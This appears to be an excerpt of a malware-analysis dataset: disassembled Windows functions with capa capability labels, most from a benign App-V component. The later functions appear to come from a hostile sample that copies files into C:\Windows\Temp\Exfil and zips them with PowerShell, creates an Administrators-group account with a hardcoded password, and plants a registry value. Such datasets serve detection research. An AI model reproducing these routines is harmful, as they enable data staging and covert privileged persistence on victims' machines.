joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14003e6a8
Capabilities:
Query or enumerate registry value

Disassembly:
mov qword [rsp + 8], rcx
push rbx
push rsi
push rdi
sub rsp, 0x30
and dword [r9], 0
mov rsi, r9
cmp qword [rdx + 0x18], 8
mov rdi, r8
jb 0x14003e6c8
mov rdx, qword [rdx]
lea rax, [rsp + 0x50]
mov r9d, 0x20019
xor r8d, r8d
mov qword [rsp + 0x20], rax
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x14003e75f
mov rbx, qword [rsp + 0x50]
lea ecx, [rax + 0x18]
call fcn.1400651c4
lea rcx, vtable.appv::utility::scope_guard_func_impl_class_std::_Binder_struct_std::_Unforced__long_int____cdecl___struct_HKEY______ptr64___struct_HKEY______ptr64____ptr64__.0
mov qword [rsp + 0x68], rax
mov qword [rax], rcx
mov rcx, qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov qword [rax + 8], rcx
mov qword [rax + 0x10], rbx
cmp qword [rdi + 0x18], 8
mov qword [rsp + 0x58], rax
mov dword [rsp + 0x70], 4
jb 0x14003e72e
mov rdi, qword [rdi]
mov rcx, qword [rsp + 0x50]
lea rax, [rsp + 0x70]
mov qword [rsp + 0x28], rax
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], rsi
mov rdx, rdi
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
lea rcx, [rsp + 0x58]
mov ebx, eax
call fcn.140005a4c
mov eax, ebx
add rsp, 0x30
pop rdi
pop rsi
pop rbx
ret
Function at 0x14003efc4
Capabilities:
Get common file path

Disassembly:
mov rax, rsp
push rbp
push r12
push r14
lea rbp, [rax - 0x1a8]
sub rsp, 0x290
mov qword [rsp + 0x28], 0xfffffffffffffffe
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
mov rax, qword [0x1400c1270]
xor rax, rsp
mov qword [rbp + 0x180], rax
mov rbx, rcx
xor r14d, r14d
mov esi, r14d
mov dword [rsp + 0x20], r14d
call fcn.14003d57c
and eax, 0xffff0000
cmp eax, 0x800000
jl 0x14003f07e
mov qword [rsp + 0x40], r14
mov qword [rsp + 0x48], 7
mov word [rsp + 0x30], r14w
lea r8d, [r14 + 0xa]
lea rdx, str.API_MS_WIN
lea rcx, [rsp + 0x30]
call fcn.1400030f0
lea esi, [r14 + 1]
lea rdx, [rsp + 0x30]
cmp qword [rsp + 0x48], 8
cmovae rdx, qword [rsp + 0x30]
cmp qword [rbx + 0x18], 8
jb 0x14003f069
mov rcx, qword [rbx]
jmp 0x14003f06c
mov rcx, rbx
mov r8, qword [rsp + 0x40]
call qword [sym.imp.api_ms_win_crt_private_l1_1_0.dll__o__wcsnicmp]
test eax, eax
mov dil, sil
je 0x14003f081
mov dil, r14b
mov r12d, 2
test sil, 1
je 0x14003f0a8
mov rdx, qword [rsp + 0x48]
cmp rdx, 8
jb 0x14003f0a8
inc rdx
mov r8d, r12d
mov rcx, qword [rsp + 0x30]
call fcn.140002ec0
test dil, dil
je 0x14003f15a
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x40], r14
cmp qword [rbx + 0x18], 8
jb 0x14003f0cb
mov rcx, qword [rbx]
jmp 0x14003f0ce
mov rcx, rbx
lea rdx, [rsp + 0x30]
call fcn.14003ee30
mov rsi, rax
test rax, rax
jne 0x14003f0e5
mov rbx, r14
jmp 0x14003f135
mov rdi, r14
lea rdx, str.API_MS_WIN_CORE_PROCESSTHREADS_L1_1_0.DLL
mov rdx, qword [rdi + rdx]
mov rcx, rsi
call qword [sym.imp.api_ms_win_crt_private_l1_1_0.dll__o__stricmp]
test eax, eax
je 0x14003f129
add rdi, 8
cmp rdi, 0x30
jb 0x14003f0e8
mov rcx, qword [rsp + 0x30]
test rcx, rcx
je 0x14003f15a
mov rdx, qword [rsp + 0x40]
sub rdx, rcx
mov r8d, 1
call fcn.140002ec0
jmp 0x14003f15a
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rbx, rax
mov rcx, qword [rsp + 0x30]
test rcx, rcx
je 0x14003f152
mov rdx, qword [rsp + 0x40]
sub rdx, rcx
mov r8d, 1
call fcn.140002ec0
mov rax, rbx
jmp 0x14003f213
mov edx, 0x104
lea rcx, [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
dec eax
cmp eax, 0x103
ja 0x14003f211
mov qword [rsp + 0x40], r14
mov qword [rsp + 0x48], 7
mov word [rsp + 0x30], r14w
lea rax, [rsp + 0x70]
or r8, 0xffffffffffffffff
inc r8
cmp word [rax + r8*2], r14w
jne 0x14003f194
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0x30]
call fcn.1400030f0
nop
mov r8, rbx
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x50]
call fcn.14003f568
cmp qword [rax + 0x18], 8
jb 0x14003f1ca
mov rax, qword [rax]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rbx, rax
mov rdx, qword [rsp + 0x68]
cmp rdx, 8
jb 0x14003f1f2
inc rdx
mov r8, r12
mov rcx, qword [rsp + 0x50]
call fcn.140002ec0
nop
mov rdx, qword [rsp + 0x48]
cmp rdx, 8
jb 0x14003f152
inc rdx
mov r8, r12
mov rcx, qword [rsp + 0x30]
jmp 0x14003f14d
xor eax, eax
mov rcx, qword [rbp + 0x180]
xor rcx, rsp
call fcn.1400651a0
lea r11, [rsp + 0x290]
mov rbx, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r14
pop r12
pop rbp
ret
Function at 0x14003fbf0
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
push rdi
push r14
push r15
sub rsp, 0x60
mov qword [rax - 0x40], 0xfffffffffffffffe
mov qword [rax + 8], rbx
mov qword [rax + 0x18], rbp
mov qword [rax + 0x20], rsi
mov rsi, rdx
mov rbx, rcx
xor r15d, r15d
mov dword [rsp + 0x30], r15d
cmp qword [rdx + 0x18], 8
jb 0x14003fc2a
mov rcx, qword [rdx]
jmp 0x14003fc2d
mov rcx, rsi
xor r8d, r8d
xor edx, edx
call qword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
lea ebp, [rax + 1]
mov word [rsp + 0x88], r15w
mov r14d, ebp
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x50], r15
mov edx, ebp
lea rcx, [rsp + 0x40]
call fcn.140018560
mov rdi, qword [rsp + 0x40]
test al, al
je 0x14003fc82
lea r8, [rsp + 0x88]
mov edx, r14d
mov rcx, rdi
call fcn.14003eb10
mov qword [rsp + 0x48], rax
cmp qword [rsi + 0x18], 8
jb 0x14003fc8c
mov rsi, qword [rsi]
mov r8d, ebp
mov rdx, rdi
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
mov qword [rbx + 0x10], r15
mov qword [rbx + 0x18], 7
mov word [rbx], r15w
test eax, eax
je 0x14003fcd4
lea rdx, [0x14008c6dc]
test rdi, rdi
cmovne rdx, rdi
or r8, 0xffffffffffffffff
inc r8
cmp word [rdx + r8*2], r15w
jne 0x14003fcc1
mov rcx, rbx
call fcn.1400030f0
nop
test rdi, rdi
je 0x14003fcf2
mov rdx, qword [rsp + 0x50]
sub rdx, rdi
mov r8d, 2
sar rdx, 1
mov rcx, rdi
call fcn.140002ec0
mov rax, rbx
lea r11, [rsp + 0x60]
mov rbx, qword [r11 + 0x20]
mov rbp, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rdi
ret

Function at 0x140043238
Capabilities:
Query or enumerate registry value

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x30
and dword [rsp + 0x58], 0
mov ebx, edx
lea rdx, [rcx + 0x40]
mov dword [rsp + 0x40], r9d
cmp qword [rdx + 0x18], 8
jb 0x14004325c
mov rdx, qword [rdx]
mov rcx, qword [rcx + 0x60]
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea r9, [rsp + 0x58]
mov qword [rsp + 0x20], r8
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov edi, eax
test eax, eax
je 0x1400432cb
mov edx, 0x5c
lea rcx, str.admin_appman_appv_sharedclientconfiguration_registryvalue.h
call qword [sym.imp.api_ms_win_crt_private_l1_1_0.dll_strrchr]
test rax, rax
je 0x14004329f
inc rax
jmp 0x1400432a6
lea rax, str.admin_appman_appv_sharedclientconfiguration_registryvalue.h
mov rdx, rax
lea rcx, [0x1400c2688]
call fcn.14000f3ec
shl rax, 0x34
movabs rcx, 0x342500000000
or rax, rdi
or rax, rcx
jmp 0x14004331d
cmp ebx, dword [rsp + 0x58]
je 0x140043313
mov edx, 0x5c
lea rcx, str.admin_appman_appv_sharedclientconfiguration_registryvalue.h
call qword [sym.imp.api_ms_win_crt_private_l1_1_0.dll_strrchr]
test rax, rax
je 0x1400432ed
inc rax
jmp 0x1400432f4
lea rax, str.admin_appman_appv_sharedclientconfiguration_registryvalue.h
mov rdx, rax
lea rcx, [0x1400c2688]
call fcn.14000f3ec
shl rax, 0x34
movabs rcx, 0x350500040002
jmp 0x1400432c6
movabs rax, 0x8000000000
mov rbx, qword [rsp + 0x48]
add rsp, 0x30
pop rdi
ret
Function at 0x140043488
Capabilities:
Query or enumerate registry value

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
push rdi
sub rsp, 0x30
and dword [rax + 0x20], 0
mov esi, edx
and dword [rax + 8], 0
lea rdx, [rcx + 0x40]
cmp qword [rdx + 0x18], 8
mov rdi, r8
jb 0x1400434b3
mov rdx, qword [rdx]
mov rcx, qword [rcx + 0x60]
lea rax, [rsp + 0x58]
mov qword [rsp + 0x28], rax
lea r9, [rsp + 0x40]
and qword [rsp + 0x20], 0
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov ebx, eax
cmp eax, 0xea
je 0x14004352d
test eax, eax
je 0x14004352d
mov edx, 0x5c
lea rcx, str.admin_appman_appv_sharedclientconfiguration_registryvalue.h
call qword [sym.imp.api_ms_win_crt_private_l1_1_0.dll_strrchr]
test rax, rax
je 0x1400434fe
inc rax
jmp 0x140043505
lea rax, str.admin_appman_appv_sharedclientconfiguration_registryvalue.h
mov rdx, rax
lea rcx, [0x1400c2688]
call fcn.14000f3ec
shl rax, 0x34
movabs rcx, 0x312500000000
or rax, rbx
or rax, rcx
jmp 0x1400435d1
cmp esi, dword [rsp + 0x40]
je 0x140043575
mov edx, 0x5c
lea rcx, str.admin_appman_appv_sharedclientconfiguration_registryvalue.h
call qword [sym.imp.api_ms_win_crt_private_l1_1_0.dll_strrchr]
test rax, rax
je 0x14004354f
inc rax
jmp 0x140043556
lea rax, str.admin_appman_appv_sharedclientconfiguration_registryvalue.h
mov rdx, rax
lea rcx, [0x1400c2688]
call fcn.14000f3ec
shl rax, 0x34
movabs rcx, 0x320500040002
jmp 0x140043525
mov eax, dword [rsp + 0x58]
cmp eax, 0x4000
jb 0x1400435c5
mov edx, 0x5c
lea rcx, str.admin_appman_appv_sharedclientconfiguration_registryvalue.h
call qword [sym.imp.api_ms_win_crt_private_l1_1_0.dll_strrchr]
test rax, rax
je 0x14004359c
inc rax
jmp 0x1400435a3
lea rax, str.admin_appman_appv_sharedclientconfiguration_registryvalue.h
mov rdx, rax
lea rcx, [0x1400c2688]
call fcn.14000f3ec
shl rax, 0x34
movabs rcx, 0x330500040003
jmp 0x140043525
mov dword [rdi], eax
movabs rax, 0x8000000000
mov rbx, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x30
pop rdi
ret
Function at 0x140062c88
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
push r12
push r14
push r15
sub rsp, 0x50
mov qword [rax - 0x38], 0xfffffffffffffffe
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
mov r14, rdx
mov rdi, rcx
or rbp, 0xffffffffffffffff
cmp rdx, rcx
je 0x140062ccd
mov r9, rbp
xor r8d, r8d
mov rdx, rcx
mov rcx, r14
call fcn.14000333c
cmp qword [rdi + 0x18], 8
jb 0x140062cd9
mov rcx, qword [rdi]
jmp 0x140062cdc
mov rcx, rdi
mov qword [rsp + 0x20], 1
lea r9, [0x14008ed98]
xor r8d, r8d
mov rdx, qword [rdi + 0x10]
call fcn.14003ff4c
cmp rax, rbp
jne 0x140062d04
mov al, 1
jmp 0x140062dc8
cmp qword [rdi + 0x18], 8
jb 0x140062d10
mov rcx, qword [rdi]
jmp 0x140062d13
mov rcx, rdi
xor r8d, r8d
xor edx, edx
call qword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
mov r15d, eax
xor r12d, r12d
test eax, eax
je 0x140062dc8
mov rbx, r15
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x38], xmm0
mov qword [rsp + 0x48], r12
mov rdx, r15
lea rcx, [rsp + 0x38]
call fcn.140018560
mov rsi, qword [rsp + 0x38]
test al, al
je 0x140062d6c
add rbx, rbx
mov r8, rbx
xor edx, edx
mov rcx, rsi
call sub.api_ms_win_crt_private_l1_1_0.dll__o_memset
lea rax, [rbx + rsi]
mov qword [rsp + 0x40], rax
cmp qword [rdi + 0x18], 8
jb 0x140062d76
mov rdi, qword [rdi]
mov r8d, r15d
mov rdx, rsi
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
cmp r15d, eax
sete bl
test bl, bl
je 0x140062da8
inc rbp
cmp word [rsi + rbp*2], r12w
jne 0x140062d8f
mov r8, rbp
mov rdx, rsi
mov rcx, r14
call fcn.1400030f0
nop
test rsi, rsi
je 0x140062dc6
mov rdx, qword [rsp + 0x48]
sub rdx, rsi
sar rdx, 1
mov r8d, 2
mov rcx, rsi
call fcn.140002ec0
mov al, bl
lea r11, [rsp + 0x50]
mov rbx, qword [r11 + 0x20]
mov rbp, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop r12
ret
Function at 0x140064d5c
Capabilities:
Get hostname

Disassembly:
mov rax, rsp
mov dword [rax + 8], ecx
push rbp
push rsi
push rdi
mov rbp, rsp
sub rsp, 0x60
mov qword [rbp - 0x40], 0xfffffffffffffffe
mov qword [rax + 0x10], rbx
mov rdi, rdx
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x20], xmm0
xor esi, esi
mov qword [rbp - 0x10], rsi
mov dword [rbp + 0x30], esi
lea r8, [rbp + 0x30]
xor edx, edx
lea ecx, [rsi + 3]
call qword [sym.imp.KERNEL32.dll_GetComputerNameExW]
test eax, eax
je 0x140064da4
lea ebx, [rsi + 0xd]
jmp 0x140064e1d
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
cmp eax, 0xea
jne 0x140064e1d
mov word [rbp + 0x20], si
mov edx, dword [rbp + 0x30]
lea rax, [rbp - 0x20]
mov qword [rbp - 0x30], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x28], rax
movaps xmm0, xmmword [rbp - 0x30]
movdqa xmmword [rbp - 0x30], xmm0
lea r8, [rbp - 0x30]
lea rcx, [rbp - 0x20]
call fcn.14003e9a8
lea r8, [rbp + 0x30]
mov rdx, qword [rbp - 0x20]
mov ecx, 3
call qword [sym.imp.KERNEL32.dll_GetComputerNameExW]
test eax, eax
jne 0x140064e01
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
jmp 0x140064e1d
mov rdx, qword [rbp - 0x20]
or r8, 0xffffffffffffffff
inc r8
cmp word [rdx + r8*2], si
jne 0x140064e09
mov rcx, rdi
call fcn.1400030f0
mov ebx, esi
mov rcx, qword [rbp - 0x20]
test rcx, rcx
je 0x140064e3b
mov rdx, qword [rbp - 0x10]
sub rdx, rcx
sar rdx, 1
mov r8d, 2
call fcn.140002ec0
mov eax, ebx
mov rbx, qword [rsp + 0x88]
add rsp, 0x60
pop rdi
pop rsi
pop rbp
ret

Function at 0x140065968
Capabilities:
Terminate process

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, rcx
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov ecx, 1
mov dword [0x1400c20c0], eax
call fcn.140065c10
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x1400c20c0], 0
jne case.default.0x1400659be
mov ecx, 1
call fcn.140065c10
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov edx, 0xc0000409
add rsp, 0x20
pop rbx
jmp qword [sym.imp.KERNEL32.dll_TerminateProcess]
lodsb al, byte [rsi]
xchg ecx, eax
mov esi, esp
cmp edi, ecx
sbb ebp, 0x2b6b9d06
fstp qword [rcx - 0x78]
pop rbp
iretd
Function at 0x1400111f9
Capabilities:
Terminate process

Disassembly:
jmp 0x1400132b0
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret

Function at 0x140011285
Capabilities:
Parse pe header

Disassembly:
jmp 0x140014600
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140014620
xor al, al
jmp 0x1400146a1
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140014633
xor al, al
jmp 0x1400146a1
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x14001465d
xor al, al
jmp 0x1400146a1
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x140014671
xor al, al
jmp 0x1400146a1
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x140014683
xor al, al
jmp 0x1400146a1
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x14001469f
xor al, al
jmp 0x1400146a1
mov al, 1
add rsp, 0x38
ret
Function at 0x401010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x00405b40]
xor edx, edx
mov dword [rax], 1
mov rax, qword [0x00405b50]
mov dword [rax], 1
mov rax, qword [0x00405b60]
mov dword [rax], 1
mov rax, qword [0x00405b30]
mov dword [rax], 1
mov rax, qword [0x00405a20]
cmp word [rax], 0x5a4d
je 0x4010b0
mov rax, qword [0x00405b20]
mov dword [0x00408008], edx
mov eax, dword [rax]
test eax, eax
je 0x4010a0
mov ecx, 2
call sym.__set_app_type
call sym.__p__fmode
mov rdx, qword [0x00405ae0]
mov edx, dword [rdx]
mov dword [rax], edx
call sym._setargv
mov rax, qword [0x004059d0]
cmp dword [rax], 1
je 0x4010f0
xor eax, eax
add rsp, 0x28
ret
mov ecx, 1
call sym.__set_app_type
jmp 0x401075
movsxd rcx, dword [rax + 0x3c]
add rax, rcx
cmp dword [rax], 0x4550
jne 0x401058
movzx ecx, word [rax + 0x18]
cmp cx, 0x10b
je 0x401103
cmp cx, 0x20b
jne 0x401058
cmp dword [rax + 0x84], 0xe
jbe 0x401058
mov ecx, dword [rax + 0xf8]
xor edx, edx
test ecx, ecx
setne dl
jmp 0x401058
lea rcx, [sym._matherr]
call sym.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x401058
mov r8d, dword [rax + 0xe8]
xor edx, edx
test r8d, r8d
setne dl
jmp 0x401058
Function at 0x4018d3
Capabilities:
Execute command

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
lea rcx, str.powershell.exe_Compress_Archive__Path_c:WindowsTempExfil__DestinationPath_c:WindowsTempExfil.zip
call sym.system
mov eax, 0
add rsp, 0x20
pop rbp
ret

Function at 0x4018f2
Capabilities:
Get token membership

Disassembly:
push rbp
mov rbp, rsp
add rsp, 0xffffffffffffff80
mov dword [rbp - 8], 0
mov dword [rbp - 4], 0
mov qword [rbp - 0x10], 0
mov byte [rbp - 0x16], 0
mov byte [rbp - 0x15], 0
mov byte [rbp - 0x14], 0
mov byte [rbp - 0x13], 0
mov byte [rbp - 0x12], 0
mov byte [rbp - 0x11], 5
lea rax, [rbp - 0x16]
lea rdx, [rbp - 0x10]
mov qword [rsp + 0x50], rdx
mov dword [rsp + 0x48], 0
mov dword [rsp + 0x40], 0
mov dword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0x220
mov r8d, 0x20
mov edx, 2
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
call rax
test eax, eax
jne 0x401994
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov dword [rbp - 4], eax
jmp 0x4019c3
mov rax, qword [rbp - 0x10]
lea rdx, [rbp - 8]
mov r8, rdx
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
call rax
test eax, eax
jne 0x4019c2
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov dword [rbp - 4], eax
jmp 0x4019c3
nop
mov rax, qword [rbp - 0x10]
test rax, rax
je 0x4019e4
mov rax, qword [rbp - 0x10]
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_FreeSid]
call rax
mov qword [rbp - 0x10], 0
mov eax, dword [rbp - 4]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_SetLastError]
call rax
mov eax, dword [rbp - 8]
sub rsp, 0xffffffffffffff80
pop rbp
ret

Function at 0x4019fb
Capabilities:
Set registry value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x70
lea rax, [rbp - 0x1c]
mov qword [rsp + 0x40], rax
lea rax, [rbp - 0x18]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0xf003f
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
lea rdx, str.SoftwareMusicDownloader
mov rcx, 0xffffffff80000001
mov rax, qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
call rax
mov dword [rbp - 4], eax
cmp dword [rbp - 4], 0
je 0x401a6b
mov eax, dword [rbp - 0x1c]
mov edx, eax
lea rcx, str.Failed_to_create_registry_key._Error_code__d
call sym.printf
lea rax, str.ZmxhZ3sxbnMxZGV
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov rcx, rax
call sym.wcslen
add rax, 1
lea edx, [rax + rax]
mov rax, qword [rbp - 0x18]
mov dword [rsp + 0x28], edx
mov rdx, qword [rbp - 0x10]
mov qword [rsp + 0x20], rdx
mov r9d, 1
mov r8d, 0
lea rdx, str.veggies
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
call rax
mov dword [rbp - 4], eax
cmp dword [rbp - 4], 0
je 0x401ace
lea rcx, str.Failed_to_write_values_to_key
call sym.printf
mov rax, qword [rbp - 0x18]
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegCloseKey]
call rax
mov eax, 0
add rsp, 0x70
pop rbp
ret
Function at 0x401ae9
Capabilities:
Add user account
Add user account to group

Disassembly:
push rbp
push rdi
sub rsp, 0x4a8
lea rbp, [rsp + 0x80]
mov rax, qword [str.mrsadams]
mov qword [rbp + 0x200], rax
mov rax, qword [0x004051fe]
mov qword [rbp + 0x208], rax
movzx eax, word [0x00405206]
mov word [rbp + 0x210], ax
lea rdx, [rbp + 0x212]
mov eax, 0
mov ecx, 0x3e
mov rdi, rdx
rep stosq qword [rdi], rax
mov rax, qword [str.fdDNoX21AdHIxeH0]
mov qword [rbp], rax
mov rax, qword [0x00405420]
mov qword [rbp + 8], rax
mov rax, qword [0x00405428]
mov qword [rbp + 0x10], rax
mov rax, qword [0x00405430]
mov qword [rbp + 0x18], rax
mov eax, dword [0x00405438]
mov dword [rbp + 0x20], eax
lea rdx, [rbp + 0x24]
mov eax, 0
mov ecx, 0x3b
mov rdi, rdx
rep stosq qword [rdi], rax
mov rdx, rdi
mov dword [rdx], eax
add rdx, 4
mov dword [rbp + 0x41c], 0x10201
lea rax, [rbp + 0x200]
mov qword [rbp - 0x40], rax
mov rax, rbp
mov qword [rbp - 0x38], rax
mov dword [rbp - 0x2c], 1
mov qword [rbp - 0x28], 0
mov qword [rbp - 0x20], 0
mov eax, dword [rbp + 0x41c]
mov dword [rbp - 0x18], eax
mov qword [rbp - 0x10], 0
lea rax, [rbp - 0x40]
mov r9d, 0
mov r8, rax
mov edx, 1
mov ecx, 0
call sym.NetUserAdd
mov dword [rbp + 0x418], eax
mov dword [rbp + 0x414], 3
mov dword [rbp + 0x410], 0
lea rax, str.mrsadams
mov qword [rbp - 0x48], rax
lea rax, [rbp - 0x48]
mov edx, dword [rbp + 0x414]
mov dword [rsp + 0x20], 1
mov r9, rax
mov r8d, edx
lea rdx, str.Administrators
mov ecx, 0
call sym.NetLocalGroupAddMembers
mov eax, 0
add rsp, 0x4a8
pop rdi
pop rbp
ret

Function at 0x401ce3
Capabilities:
Check if file exists
Copy file
Create directory
Get file attributes

Disassembly:
push rbp
sub rsp, 0x2a0
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x230], rcx
lea rcx, [0x00405618]
mov rax, qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
call rax
mov dword [rbp + 0x21c], eax
cmp dword [rbp + 0x21c], 0xffffffff
je 0x401d2d
mov eax, dword [rbp + 0x21c]
and eax, 0x10
test eax, eax
je 0x401d2d
mov eax, 1
jmp 0x401d32
mov eax, 0
mov dword [rbp + 0x218], eax
cmp dword [rbp + 0x218], 0
jne 0x401d56
mov edx, 0
lea rcx, [0x00405618]
mov rax, qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
call rax
lea rax, [rbp + 0xc0]
mov rdx, rax
mov rcx, qword [rbp + 0x230]
mov rax, qword [sym.imp.KERNEL32.dll_FindFirstFileA]
call rax
mov qword [rbp + 0x210], rax
cmp qword [rbp + 0x210], 0xffffffffffffffff
jne 0x401d8f
lea rcx, str.Arvin_stanks
call sym.printf
jmp 0x401df5
lea rax, [rbp - 0x50]
lea rdx, [rbp + 0xc0]
add rdx, 0x2c
mov qword [rsp + 0x20], rdx
lea r9, str.C:WindowsTempExfil
lea r8, str._s_s
mov edx, 0x104
mov rcx, rax
call dbg.snprintf
lea rax, [rbp - 0x50]
mov r8d, 0
mov rdx, rax
mov rcx, qword [rbp + 0x230]
mov rax, qword [sym.imp.KERNEL32.dll_CopyFileA]
call rax
mov dword [rbp + 0x20c], eax
mov rax, qword [rbp + 0x210]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_FindClose]
call rax
nop
add rsp, 0x2a0
pop rbp
ret
Function at 0x401dfe
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push rbp
sub rsp, 0x3a0
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x330], rcx
mov qword [rbp + 0x338], rdx
lea rax, [rbp + 0xc0]
mov r9, qword [rbp + 0x330]
lea r8, str._s
mov edx, 0x104
mov rcx, rax
call dbg.snprintf
lea rdx, [rbp + 0x1d0]
lea rax, [rbp + 0xc0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_FindFirstFileA]
call rax
mov qword [rbp + 0x318], rax
cmp qword [rbp + 0x318], 0xffffffffffffffff
jne 0x401e81
mov rdx, qword [rbp + 0x330]
lea rcx, str.Error_opening_directory__s_n
call sym.printf
jmp 0x401f9b
lea rax, [rbp + 0x1d0]
add rax, 0x2c
lea rdx, [0x0040568e]
mov rcx, rax
call sym.strcmp
test eax, eax
je 0x401f64
lea rax, [rbp + 0x1d0]
add rax, 0x2c
lea rdx, [0x00405690]
mov rcx, rax
call sym.strcmp
test eax, eax
je 0x401f64
lea rax, [rbp - 0x50]
lea rdx, [rbp + 0x1d0]
add rdx, 0x2c
mov qword [rsp + 0x20], rdx
mov r9, qword [rbp + 0x330]
lea r8, str._s_s
mov edx, 0x104
mov rcx, rax
call dbg.snprintf
mov eax, dword [rbp + 0x1d0]
and eax, 0x10
test eax, eax
je 0x401f16
mov rdx, qword [rbp + 0x338]
lea rax, [rbp - 0x50]
mov rcx, rax
call dbg.wishbone
jmp 0x401f65
mov rdx, qword [rbp + 0x338]
lea rax, [rbp + 0x1d0]
add rax, 0x2c
mov rcx, rax
call dbg.strstri
test rax, rax
je 0x401f65
lea rax, [rbp - 0x50]
mov rcx, rax
call dbg.golden_retriever
lea rax, [rbp + 0x1d0]
lea rdx, [rax + 0x2c]
lea rax, [rbp - 0x50]
mov r8, rdx
mov rdx, rax
lea rcx, str._s:__s_n
call sym.printf
jmp 0x401f65
